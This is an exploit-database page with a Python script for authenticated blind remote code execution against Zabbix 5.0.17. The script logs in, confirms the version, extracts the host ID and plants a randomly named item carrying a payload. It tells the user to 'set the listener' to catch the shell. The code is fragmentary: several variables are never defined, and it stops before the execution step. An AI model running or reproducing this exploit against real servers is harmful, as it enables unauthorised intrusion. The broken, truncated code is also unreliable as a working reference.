Exploits / Vulnerability Discovered : 2022-03-10 |
Type : webapps |
Platform : php
This exploit / vulnerability Zabbix 5.0.17 remote code execution (rce) (authenticated) is for educational purposes only and if it is used you will do on your own risk!
#!/usr/bin/python3
# note : this is blind RCE so don't expect to see results on the site
# this exploit is tested against Zabbix 5.0.17 only
import sys
import requests
import re
import random
import string
import colorama
from colorama import Fore
print(Fore.YELLOW+"[*] this exploit is tested against Zabbix 5.0.17 only")
print(Fore.YELLOW+"[*] can reach the author @ https://hussienmisbah.github.io/")
def item_name() :
letters = string.ascii_letters
item = ''.join(random.choice(letters) for i in range(20))
return item
r = s.post(url+"/index.php",data=data) #proxies=proxies)
if "Sign out" not in r.text :
print(Fore.RED +"[!] Authentication failed")
sys.exit(-1)
if "Zabbix 5.0.17" not in r.text :
print(Fore.RED +"[!] This is not Zabbix 5.0.17")
sys.exit(-1)
if "filter_hostids%5B0%5D=" in r.text :
try :
x = re.search('filter_hostids%5B0%5D=(.*?)"', r.text)
hostId = x.group(1)
except :
print(Fore.RED +"[!] Exploit failed to resolve HostID")
print(Fore.BLUE +"[?] you can find it under /items then add item")
sys.exit(-1)
else :
print(Fore.RED +"[!] Exploit failed to resolve HostID")
print(Fore.BLUE +"[?] you can find HostID under /items then add item")
sys.exit(-1)
#################################################[Searching in all pages for the uploaded item]#################################################
page = 1
flag=False
while page <= no_pages :
r_page=s.get(url+f"/items.php?page={page}" ,headers=headers )
if Random_name in r_page.text :
print(Fore.GREEN+"[+] the payload has been Uploaded Successfully")
x2 = re.search(rf"(\d+)[^\d]>{Random_name}",r_page.text)
try :
itemId=x2.group(1)
except :
pass
print(Fore.GREEN+f"[+] you should find it at {url}/items.php?form=update&hostid={hostId}&itemid={itemId}")
flag=True
break
else :
page +=1
if flag==False :
print(Fore.BLUE +"[?] do you know you can't upload same key twice ?")
print(Fore.BLUE +"[?] maybe it is already uploaded so set the listener and wait 1m")
print(Fore.BLUE +"[*] change the port and try again")
sys.exit(-1)
#################################################[Executing the item]#################################################